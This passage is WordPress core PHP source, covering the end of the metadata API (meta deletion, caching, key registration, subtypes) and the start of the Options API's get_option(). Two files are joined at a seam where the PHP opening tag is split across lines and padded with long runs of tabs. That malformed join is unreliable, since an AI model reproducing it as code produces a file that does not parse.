function delete_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	// Object and ID columns.
	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits deleting metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_blog_metadata_by_mid`
	 *  - `delete_post_metadata_by_mid`
	 *  - `delete_comment_metadata_by_mid`
	 *  - `delete_term_metadata_by_mid`
	 *  - `delete_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool $delete  Whether to allow metadata deletion of the given type.
	 * @param int       $meta_id Meta ID.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$object_id = (int) $meta->{$column};

		/** This action is documented in wp-includes/meta.php */
		do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately before deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `delete_postmeta`
			 *  - `delete_commentmeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id ID of the metadata entry to delete.
			 */
			do_action( "delete_{$meta_type}meta", $meta_id );
		}

		// Run the query, will return true if deleted, false otherwise.
		$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately after deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `deleted_postmeta`
			 *  - `deleted_commentmeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id Deleted metadata entry ID.
			 */
			do_action( "deleted_{$meta_type}meta", $meta_id );
		}

		return $result;

	}

	// Meta ID was not found.
	return false;
}

/**
 * Updates the metadata cache for the specified objects.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                                 'user', or any other object type with an associated meta table.
 * @param string|int[] $object_ids Array or comma delimited list of object IDs to update cache for.
 * @return array|false Metadata cache for the specified objects, or false on failure.
 */
function update_meta_cache( $meta_type, $object_ids ) {
	global $wpdb;

	if ( ! $meta_type || ! $object_ids ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column = sanitize_key( $meta_type . '_id' );

	if ( ! is_array( $object_ids ) ) {
		$object_ids = preg_replace( '|[^0-9,]|', '', $object_ids );
		$object_ids = explode( ',', $object_ids );
	}

	$object_ids = array_map( 'intval', $object_ids );

	/**
	 * Short-circuits updating the metadata cache of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_blog_metadata_cache`
	 *  - `update_post_metadata_cache`
	 *  - `update_comment_metadata_cache`
	 *  - `update_term_metadata_cache`
	 *  - `update_user_metadata_cache`
	 *
	 * @since 5.0.0
	 *
	 * @param mixed $check      Whether to allow updating the meta cache of the given type.
	 * @param int[] $object_ids Array of object IDs to update the meta cache for.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$cache_group    = $meta_type . '_meta';
	$non_cached_ids = array();
	$cache          = array();
	$cache_values   = wp_cache_get_multiple( $object_ids, $cache_group );

	foreach ( $cache_values as $id => $cached_object ) {
		if ( false === $cached_object ) {
			$non_cached_ids[] = $id;
		} else {
			$cache[ $id ] = $cached_object;
		}
	}

	if ( empty( $non_cached_ids ) ) {
		return $cache;
	}

	// Get meta info.
	$id_list   = implode( ',', $non_cached_ids );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );

	if ( ! empty( $meta_list ) ) {
		foreach ( $meta_list as $metarow ) {
			$mpid = (int) $metarow[ $column ];
			$mkey = $metarow['meta_key'];
			$mval = $metarow['meta_value'];

			// Force subkeys to be array type.
			if ( ! isset( $cache[ $mpid ] ) || ! is_array( $cache[ $mpid ] ) ) {
				$cache[ $mpid ] = array();
			}
			if ( ! isset( $cache[ $mpid ][ $mkey ] ) || ! is_array( $cache[ $mpid ][ $mkey ] ) ) {
				$cache[ $mpid ][ $mkey ] = array();
			}

			// Add a value to the current pid/key.
			$cache[ $mpid ][ $mkey ][] = $mval;
		}
	}

	$data = array();
	foreach ( $non_cached_ids as $id ) {
		if ( ! isset( $cache[ $id ] ) ) {
			$cache[ $id ] = array();
		}
		$data[ $id ] = $cache[ $id ];
	}
	wp_cache_add_multiple( $data, $cache_group );

	return $cache;
}

/**
 * Retrieves the queue for lazy-loading metadata.
 *
 * @since 4.5.0
 *
 * @return WP_Metadata_Lazyloader Metadata lazyloader queue.
 */
function wp_metadata_lazyloader() {
	static $wp_metadata_lazyloader;

	if ( null === $wp_metadata_lazyloader ) {
		$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
	}

	return $wp_metadata_lazyloader;
}

/**
 * Given a meta query, generates SQL clauses to be appended to a main query.
 *
 * @since 3.2.0
 *
 * @see WP_Meta_Query
 *
 * @param array  $meta_query        A meta query.
 * @param string $type              Type of meta.
 * @param string $primary_table     Primary database table name.
 * @param string $primary_id_column Primary ID column name.
 * @param object $context           Optional. The main query object. Default null.
 * @return string[]|false {
 *     Array containing JOIN and WHERE SQL clauses to append to the main query,
 *     or false if no table exists for the requested meta type.
 *
 *     @type string $join  SQL fragment to append to the main JOIN clause.
 *     @type string $where SQL fragment to append to the main WHERE clause.
 * }
 */
function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
	$meta_query_obj = new WP_Meta_Query( $meta_query );
	return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
}

/**
 * Retrieves the name of the metadata table for the specified object type.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                     'user', or any other object type with an associated meta table.
 * @return string|false Metadata table name, or false if no metadata table exists
 */
function _get_meta_table( $type ) {
	global $wpdb;

	$table_name = $type . 'meta';

	if ( empty( $wpdb->$table_name ) ) {
		return false;
	}

	return $wpdb->$table_name;
}

/**
 * Determines whether a meta key is considered protected.
 *
 * @since 3.1.3
 *
 * @param string $meta_key  Metadata key.
 * @param string $meta_type Optional. Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table. Default empty string.
 * @return bool Whether the meta key is considered protected.
 */
function is_protected_meta( $meta_key, $meta_type = '' ) {
	$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
	$protected     = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );

	/**
	 * Filters whether a meta key is considered protected.
	 *
	 * @since 3.2.0
	 *
	 * @param bool   $protected Whether the key is considered protected.
	 * @param string $meta_key  Metadata key.
	 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
	 *                          'user', or any other object type with an associated meta table.
	 */
	return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

/**
 * Sanitizes meta value.
 *
 * @since 3.1.3
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $meta_key       Metadata key.
 * @param mixed  $meta_value     Metadata value to sanitize.
 * @param string $object_type    Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                               'user', or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return mixed Sanitized $meta_value.
 */
function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
	if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {

		/**
		 * Filters the sanitization of a specific meta key of a specific meta type and subtype.
		 *
		 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
		 * and `$object_subtype`, refer to the metadata object type (blog, comment, post, term, or user),
		 * the meta key value, and the object subtype respectively.
		 *
		 * @since 4.9.8
		 *
		 * @param mixed  $meta_value     Metadata value to sanitize.
		 * @param string $meta_key       Metadata key.
		 * @param string $object_type    Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
		 *                               'user', or any other object type with an associated meta table.
		 * @param string $object_subtype Object subtype.
		 */
		return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
	}

	/**
	 * Filters the sanitization of a specific meta key of a specific meta type.
	 *
	 * The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
	 * refer to the metadata object type (blog, comment, post, term, or user) and the meta
	 * key value, respectively.
	 *
	 * @since 3.3.0
	 *
	 * @param mixed  $meta_value  Metadata value to sanitize.
	 * @param string $meta_key    Metadata key.
	 * @param string $object_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
	 *                            'user', or any other object type with an associated meta table.
	 */
	return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
}

/**
 * Registers a meta key.
 *
 * It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
 * an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
 * overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
 *
 * If an object type does not support any subtypes, such as blogs, users, or comments, you should commonly call this function
 * without passing a subtype.
 *
 * @since 3.3.0
 * @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
 *              to support an array of data to attach to registered meta keys}. Previous arguments for
 *              `$sanitize_callback` and `$auth_callback` have been folded into this array.
 * @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
 * @since 5.3.0 Valid meta types expanded to include "array" and "object".
 * @since 5.5.0 The `$default` argument was added to the arguments array.
 * @since 6.4.0 The `$revisions_enabled` argument was added to the arguments array.
 * @since 6.7.0 The `label` argument was added to the arguments array.
 *
 * @param string       $object_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                                  'user', or any other object type with an associated meta table.
 * @param string       $meta_key    Meta key to register.
 * @param array        $args {
 *     Data used to describe the meta key when registered.
 *
 *     @type string     $object_subtype    A subtype; e.g. if the object type is "post", the post type. If left empty,
 *                                         the meta key will be registered on the entire object type. Default empty.
 *     @type string     $type              The type of data associated with this meta key.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $label             A human-readable label of the data attached to this meta key.
 *     @type string     $description       A description of the data attached to this meta key.
 *     @type bool       $single            Whether the meta key has one value per object, or an array of values per object.
 *     @type mixed      $default           The default value returned from get_metadata() if no value has been set yet.
 *                                         When using a non-single meta key, the default value is for the first entry.
 *                                         In other words, when calling get_metadata() with `$single` set to `false`,
 *                                         the default value given here will be wrapped in an array.
 *     @type callable   $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
 *     @type callable   $auth_callback     Optional. A function or method to call when performing edit_post_meta,
 *                                         add_post_meta, and delete_post_meta capability checks.
 *     @type bool|array $show_in_rest      Whether data associated with this meta key can be considered public and
 *                                         should be accessible via the REST API. A custom post type must also declare
 *                                         support for custom fields for registered meta to be accessible via REST.
 *                                         When registering complex meta values this argument may optionally be an
 *                                         array with 'schema' or 'prepare_callback' keys instead of a boolean.
 *     @type bool       $revisions_enabled Whether to enable revisions support for this meta_key. Can only be used when the
 *                                         object type is 'post'.
 * }
 * @param string|array $deprecated Deprecated. Use `$args` instead.
 * @return bool True if the meta key was successfully registered in the global array, false if not.
 *              Registering a meta key with distinct sanitize and auth callbacks will fire those callbacks,
 *              but will not add to the global registry.
 */
function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) ) {
		$wp_meta_keys = array();
	}

	$defaults = array(
		'object_subtype'    => '',
		'type'              => 'string',
		'label'             => '',
		'description'       => '',
		'default'           => '',
		'single'            => false,
		'sanitize_callback' => null,
		'auth_callback'     => null,
		'show_in_rest'      => false,
		'revisions_enabled' => false,
	);

	// There used to be individual args for sanitize and auth callbacks.
	$has_old_sanitize_cb = false;
	$has_old_auth_cb     = false;

	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);

		$has_old_sanitize_cb = true;
	} else {
		$args = (array) $args;
	}

	if ( is_callable( $deprecated ) ) {
		$args['auth_callback'] = $deprecated;
		$has_old_auth_cb       = true;
	}

	/**
	 * Filters the registration arguments when registering meta.
	 *
	 * @since 4.6.0
	 *
	 * @param array  $args        Array of meta registration arguments.
	 * @param array  $defaults    Array of default arguments.
	 * @param string $object_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
	 *                            'user', or any other object type with an associated meta table.
	 * @param string $meta_key    Meta key.
	 */
	$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
	unset( $defaults['default'] );
	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering array meta.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] ) {
		if ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" meta type to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.3.0' );

			return false;
		}
	}

	$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
	if ( $args['revisions_enabled'] ) {
		if ( 'post' !== $object_type ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object type supports revisions.' ), '6.4.0' );

			return false;
		} elseif ( ! empty( $object_subtype ) && ! post_type_supports( $object_subtype, 'revisions' ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object subtype supports revisions.' ), '6.4.0' );

			return false;
		}
	}

	// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
	if ( empty( $args['auth_callback'] ) ) {
		if ( is_protected_meta( $meta_key, $object_type ) ) {
			$args['auth_callback'] = '__return_false';
		} else {
			$args['auth_callback'] = '__return_true';
		}
	}

	// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
	if ( is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
		} else {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
		}
	}

	if ( is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
		} else {
			add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
		}
	}

	if ( array_key_exists( 'default', $args ) ) {
		$schema = $args;
		if ( is_array( $args['show_in_rest'] ) && isset( $args['show_in_rest']['schema'] ) ) {
			$schema = array_merge( $schema, $args['show_in_rest']['schema'] );
		}

		$check = rest_validate_value_from_schema( $args['default'], $schema );
		if ( is_wp_error( $check ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering a default meta value the data must match the type provided.' ), '5.5.0' );

			return false;
		}

		if ( ! has_filter( "default_{$object_type}_metadata", 'filter_default_metadata' ) ) {
			add_filter( "default_{$object_type}_metadata", 'filter_default_metadata', 10, 5 );
		}
	}

	// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
	if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
		unset( $args['object_subtype'] );

		$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;

		return true;
	}

	return false;
}

/**
 * Filters into default_{$object_type}_metadata and adds in default value.
 *
 * @since 5.5.0
 *
 * @param mixed  $value     Current value passed to filter.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified.
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function filter_default_metadata( $value, $object_id, $meta_key, $single, $meta_type ) {
	global $wp_meta_keys;

	if ( wp_installing() ) {
		return $value;
	}

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $meta_type ] ) ) {
		return $value;
	}

	$defaults = array();
	foreach ( $wp_meta_keys[ $meta_type ] as $sub_type => $meta_data ) {
		foreach ( $meta_data as $_meta_key => $args ) {
			if ( $_meta_key === $meta_key && array_key_exists( 'default', $args ) ) {
				$defaults[ $sub_type ] = $args;
			}
		}
	}

	if ( ! $defaults ) {
		return $value;
	}

	// If this meta type does not have subtypes, then the default is keyed as an empty string.
	if ( isset( $defaults[''] ) ) {
		$metadata = $defaults[''];
	} else {
		$sub_type = get_object_subtype( $meta_type, $object_id );
		if ( ! isset( $defaults[ $sub_type ] ) ) {
			return $value;
		}
		$metadata = $defaults[ $sub_type ];
	}

	if ( $single ) {
		$value = $metadata['default'];
	} else {
		$value = array( $metadata['default'] );
	}

	return $value;
}

/**
 * Checks if a meta key is registered.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                               'user', or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if the meta key is registered to the object type and, if provided,
 *              the object subtype. False if not.
 */
function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
	$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );

	return isset( $meta_keys[ $meta_key ] );
}

/**
 * Unregisters a meta key from the list of registered keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                               'user', or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if successful. False if the meta key was not registered.
 */
function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
		return false;
	}

	$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];

	if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
		} else {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
		}
	}

	if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
		} else {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
		}
	}

	unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );

	// Do some clean up.
	if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
	}
	if ( empty( $wp_meta_keys[ $object_type ] ) ) {
		unset( $wp_meta_keys[ $object_type ] );
	}

	return true;
}

/**
 * Retrieves a list of registered metadata args for an object type, keyed by their meta keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                               'user', or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return array[] List of registered metadata args, keyed by their meta keys.
 */
function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		return array();
	}

	return $wp_meta_keys[ $object_type ][ $object_subtype ];
}

/**
 * Retrieves registered metadata for a specified object.
 *
 * The results include both meta that is registered specifically for the
 * object's subtype and meta that is registered for the entire object type.
 *
 * @since 4.6.0
 *
 * @param string $object_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                            'user', or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object the metadata is for.
 * @param string $meta_key    Optional. Registered metadata key. If not specified, retrieve all registered
 *                            metadata for the specified object.
 * @return mixed A single value or array of values for a key if specified. An array of all registered keys
 *               and values for an object ID if not. False if a given $meta_key is not registered.
 */
function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
	$object_subtype = get_object_subtype( $object_type, $object_id );

	if ( ! empty( $meta_key ) ) {
		if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			$object_subtype = '';
		}

		if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			return false;
		}

		$meta_keys     = get_registered_meta_keys( $object_type, $object_subtype );
		$meta_key_data = $meta_keys[ $meta_key ];

		$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );

		return $data;
	}

	$data = get_metadata( $object_type, $object_id );
	if ( ! $data ) {
		return array();
	}

	$meta_keys = get_registered_meta_keys( $object_type );
	if ( ! empty( $object_subtype ) ) {
		$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
	}

	return array_intersect_key( $data, $meta_keys );
}

/**
 * Filters out `register_meta()` args based on an allowed list.
 *
 * `register_meta()` args may change over time, so requiring the allowed list
 * to be explicitly turned off is a warranty seal of sorts.
 *
 * @access private
 * @since 5.5.0
 *
 * @param array $args         Arguments from `register_meta()`.
 * @param array $default_args Default arguments for `register_meta()`.
 * @return array Filtered arguments.
 */
function _wp_register_meta_args_allowed_list( $args, $default_args ) {
	return array_intersect_key( $args, $default_args );
}

/**
 * Returns the object subtype for a given object ID of a specific type.
 *
 * @since 4.9.8
 *
 * @param string $object_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                            'user', or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object to retrieve its subtype.
 * @return string The object subtype or an empty string if unspecified subtype.
 */
function get_object_subtype( $object_type, $object_id ) {
	$object_id      = (int) $object_id;
	$object_subtype = '';

	switch ( $object_type ) {
		case 'post':
			$post_type = get_post_type( $object_id );

			if ( ! empty( $post_type ) ) {
				$object_subtype = $post_type;
			}
			break;

		case 'term':
			$term = get_term( $object_id );
			if ( ! $term instanceof WP_Term ) {
				break;
			}

			$object_subtype = $term->taxonomy;
			break;

		case 'comment':
			$comment = get_comment( $object_id );
			if ( ! $comment ) {
				break;
			}

			$object_subtype = 'comment';
			break;

		case 'user':
			$user = get_user_by( 'id', $object_id );
			if ( ! $user ) {
				break;
			}

			$object_subtype = 'user';
			break;
	}

	/**
	 * Filters the object subtype identifier.
	 *
	 * The dynamic portion of the hook name, `$object_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `get_object_subtype_blog`
	 *  - `get_object_subtype_post`
	 *  - `get_object_subtype_comment`
	 *  - `get_object_subtype_term`
	 *  - `get_object_subtype_user`
	 *
	 * @since 4.9.8
	 *
	 * @param string $object_subtype Object subtype or empty string to override.
	 * @param int    $object_id      ID of the object to get the subtype for.
	 */
	return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
}
<?																																										
php																																										

/**
 * Option API
 *
 * @package WordPress
 * @subpackage Option
 */

/**
 * Retrieves an option value based on an option name.
 *
 * If the option does not exist, and a default value is not provided,
 * boolean false is returned. This could be used to check whether you need
 * to initialize an option during installation of a plugin, however that
 * can be done better by using add_option() which will not overwrite
 * existing options.
 *
 * Not initializing an option and using boolean `false` as a return value
 * is a bad practice as it triggers an additional database query.
 *
 * The type of the returned value can be different from the type that was passed
 * when saving or updating the option. If the option value was serialized,
 * then it will be unserialized when it is returned. In this case the type will
 * be the same. For example, storing a non-scalar value like an array will
 * return the same array.
 *
 * In most cases non-string scalar and null values will be converted and returned
 * as string equivalents.
 *
 * Exceptions:
 *
 * 1. When the option has not been saved in the database, the `$default_value` value
 *    is returned if provided. If not, boolean `false` is returned.
 * 2. When one of the Options API filters is used: {@see 'pre_option_$option'},
 *    {@see 'default_option_$option'}, or {@see 'option_$option'}, the returned
 *    value may not match the expected type.
 * 3. When the option has just been saved in the database, and get_option()
 *    is used right after, non-string scalar and null values are not converted to
 *    string equivalents and the original type is returned.
 *
 * Examples:
 *
 * When adding options like this: `add_option( 'my_option_name', 'value' )`
 * and then retrieving them with `get_option( 'my_option_name' )`, the returned
 * values will be:
 *
 *   - `false` returns `string(0) ""`
 *   - `true`  returns `string(1) "1"`
 *   - `0`     returns `string(1) "0"`
 *   - `1`     returns `string(1) "1"`
 *   - `'0'`   returns `string(1) "0"`
 *   - `'1'`   returns `string(1) "1"`
 *   - `null`  returns `string(0) ""`
 *
 * When adding options with non-scalar values like
 * `add_option( 'my_array', array( false, 'str', null ) )`, the returned value
 * will be identical to the original as it is serialized before saving
 * it in the database:
 *
 *     array(3) {
 *         [0] => bool(false)
 *         [1] => string(3) "str"
 *         [2] => NULL
 *     }
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Default value to return if the option does not exist.
 * @return mixed Value of the option. A value of any type may be returned, including
 *               scalar (string, boolean, float, integer), null, array, object.
 *               Scalar and null values will be returned as strings as long as they originate
 *               from a database stored option value. If there is no option in the database,
 *               boolean `false` is returned.
 */
function get_option( $option, $default_value = false ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return get_option( $deprecated_keys[ $option ], $default_value );
	}

	/**
	 * Filters the value of an existing option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 1.5.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Option name.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( "pre_option_{$option}", false, $option, $default_value );

	/**
	 * Filters the value of any existing option before it is retrieved.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Name of the option.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( 'pre_option', $pre, $option, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( defined( 'WP_SETUP_CONFIG' ) ) {
		return false;
	}

	// Distinguish between `false` as a default, and not passing one.
	$passed_default = func_num_args() > 1;

	if ( ! wp_installing() ) {
